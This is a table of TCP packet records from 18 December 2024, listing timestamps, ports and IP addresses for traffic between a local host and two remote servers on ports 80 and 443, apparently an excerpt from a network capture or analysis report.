Dec 18, 2024 22:02:14.682387114 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.682429075 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.682507038 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.682569027 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.683125973 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.683170080 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.683310032 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.683357000 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.684068918 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.684114933 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.684165001 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.684211969 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.684680939 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.684722900 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.684823036 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.684861898 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.685684919 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.685748100 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.685786963 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.685834885 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.686296940 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.686338902 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.686371088 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.686414003 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.687007904 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.687053919 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.687123060 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.687164068 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.687760115 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.687808037 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.687906027 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.687968969 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.688487053 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.688534021 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.708123922 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.708245993 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.708338976 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.708338976 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.708471060 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.708522081 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.708892107 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.708944082 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.709146023 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.709189892 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.709338903 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.709379911 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.710017920 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.710073948 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.744343996 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.744416952 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.744787931 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.744803905 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.744827986 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.744837046 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.744874954 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.744887114 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.745460033 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.745507002 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.745557070 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.745605946 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.746145010 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.746191978 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.746289968 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.746330976 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.746927977 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.746973038 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.747164965 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.747204065 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.747755051 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.747818947 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.747929096 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.747976065 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.748557091 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.748605013 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.748682022 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.748728037 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.749403000 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.749418974 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.749450922 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.749461889 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.750142097 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.750191927 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.750247955 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.750292063 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.750837088 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.750880003 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.750921965 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.750961065 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.751530886 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.751576900 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.751744032 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.751786947 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.752296925 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.752342939 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.752608061 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.752698898 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.753240108 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.753256083 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.753289938 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.753300905 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.753879070 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.753931046 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.753995895 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.754038095 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.754648924 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.754697084 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.754761934 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.754834890 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.755383015 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.755425930 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.755559921 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.755609035 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.757091045 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.757143974 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.757246971 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.757262945 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.757291079 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.757307053 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.757770061 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.757819891 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.758038998 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.758055925 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.758080959 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.758091927 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.758650064 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.758702040 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.758791924 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.758835077 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.858802080 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.858886003 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.858952999 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.859083891 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.859092951 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.859136105 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.859251022 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.859296083 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.859797955 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.859844923 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.859973907 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.860021114 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.860634089 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.860682011 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.860774040 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.860816956 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.861387014 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.861434937 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.861471891 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.861521959 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.862123013 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.862164021 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.862380028 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.862423897 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.862817049 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.862863064 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.863013029 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.863059044 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.863878012 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.863893032 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.863922119 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.863959074 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.864716053 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.864752054 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.864778996 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.864799023 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.865320921 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.865369081 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.865572929 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.865618944 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.866204023 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.866249084 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.866432905 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.866480112 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.866991997 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.867037058 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.867122889 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.867165089 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.867607117 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.867662907 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.867702007 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.867743969 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.868273020 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.868311882 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.868447065 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.868490934 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.869026899 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.869071960 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.869196892 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.869240999 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.869750023 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.869792938 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.869916916 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.869965076 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.870534897 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.870577097 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.870661020 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.870706081 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.871324062 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.871366978 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.871462107 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.871505022 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.872072935 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.872119904 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.872158051 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.872200012 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.872849941 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.872894049 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:14.872998953 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:14.873039961 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:16.699107885 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:16.699136972 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:16.699198961 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:16.699311018 CET	49709	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:16.699404955 CET	49710	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:16.699414968 CET	443	49710	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:16.699426889 CET	443	49709	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:16.699464083 CET	49710	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:16.699497938 CET	49709	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:16.699564934 CET	49711	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:16.699589968 CET	443	49711	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:16.699645996 CET	49711	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:16.700387955 CET	49711	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:16.700423956 CET	443	49711	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:16.700510979 CET	49709	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:16.700529099 CET	443	49709	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:16.700635910 CET	49710	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:16.700653076 CET	443	49710	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:16.700917006 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:16.700930119 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:18.254451990 CET	80	49706	185.219.81.135	192.168.2.5
Dec 18, 2024 22:02:18.254793882 CET	49706	80	192.168.2.5	185.219.81.135
Dec 18, 2024 22:02:18.410406113 CET	443	49711	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:18.411026001 CET	49711	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:18.411084890 CET	443	49711	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:18.412059069 CET	443	49711	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:18.412127018 CET	49711	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:18.414051056 CET	49711	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:18.414107084 CET	443	49711	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:18.414259911 CET	49711	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:18.414275885 CET	443	49711	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:18.414799929 CET	443	49709	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:18.414989948 CET	49709	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:18.415004015 CET	443	49709	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:18.415249109 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:18.415596008 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:18.415618896 CET	443	49710	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:18.415623903 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:18.415766001 CET	49710	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:18.415776014 CET	443	49710	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:18.416479111 CET	443	49709	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:18.416543007 CET	49709	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:18.417140961 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:18.417196035 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:18.417237043 CET	49709	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:18.417332888 CET	443	49709	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:18.417414904 CET	443	49710	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:18.417478085 CET	49710	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:18.418137074 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:18.418214083 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:18.418246031 CET	49709	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:18.418256998 CET	443	49709	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:18.418302059 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:18.418309927 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:18.418612957 CET	49710	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:18.418700933 CET	443	49710	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:18.418728113 CET	49710	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:18.457135916 CET	49711	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:18.459356070 CET	443	49710	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:18.472311020 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:18.472311020 CET	49710	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:18.472316980 CET	49709	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:18.472327948 CET	443	49710	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:18.519850016 CET	49710	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:18.699310064 CET	49709	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:18.699482918 CET	443	49709	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:18.699549913 CET	49709	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.265217066 CET	443	49710	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.265556097 CET	443	49710	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.265614033 CET	49710	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.268342972 CET	49710	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.268357038 CET	443	49710	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.278420925 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.278558969 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.278611898 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.278620958 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.279685974 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.279745102 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.279752970 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.279829979 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.279875994 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.279881954 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.287221909 CET	443	49711	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.287501097 CET	443	49711	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.287564039 CET	49711	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.290520906 CET	49711	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.290565014 CET	443	49711	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.300569057 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.300667048 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.300688982 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.314637899 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.314735889 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.314811945 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.314820051 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.314870119 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.478835106 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.482964993 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.483130932 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.483139038 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.491456985 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.491525888 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.491533995 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.507050037 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.507117987 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.507126093 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.515467882 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.515546083 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.515553951 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.526509047 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.526693106 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.526704073 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.536199093 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.536263943 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.536273003 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.545901060 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.545960903 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.545968056 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.556818962 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.556996107 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.557007074 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.570791006 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.570843935 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.570851088 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.598731995 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.598792076 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.598799944 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.602701902 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.602783918 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.602791071 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.646188021 CET	49708	443	192.168.2.5	142.250.181.132
Dec 18, 2024 22:02:19.671365023 CET	443	49708	142.250.181.132	192.168.2.5
Dec 18, 2024 22:02:19.674556971 CET	443	49708	142.250.181.132	192.168.2.5
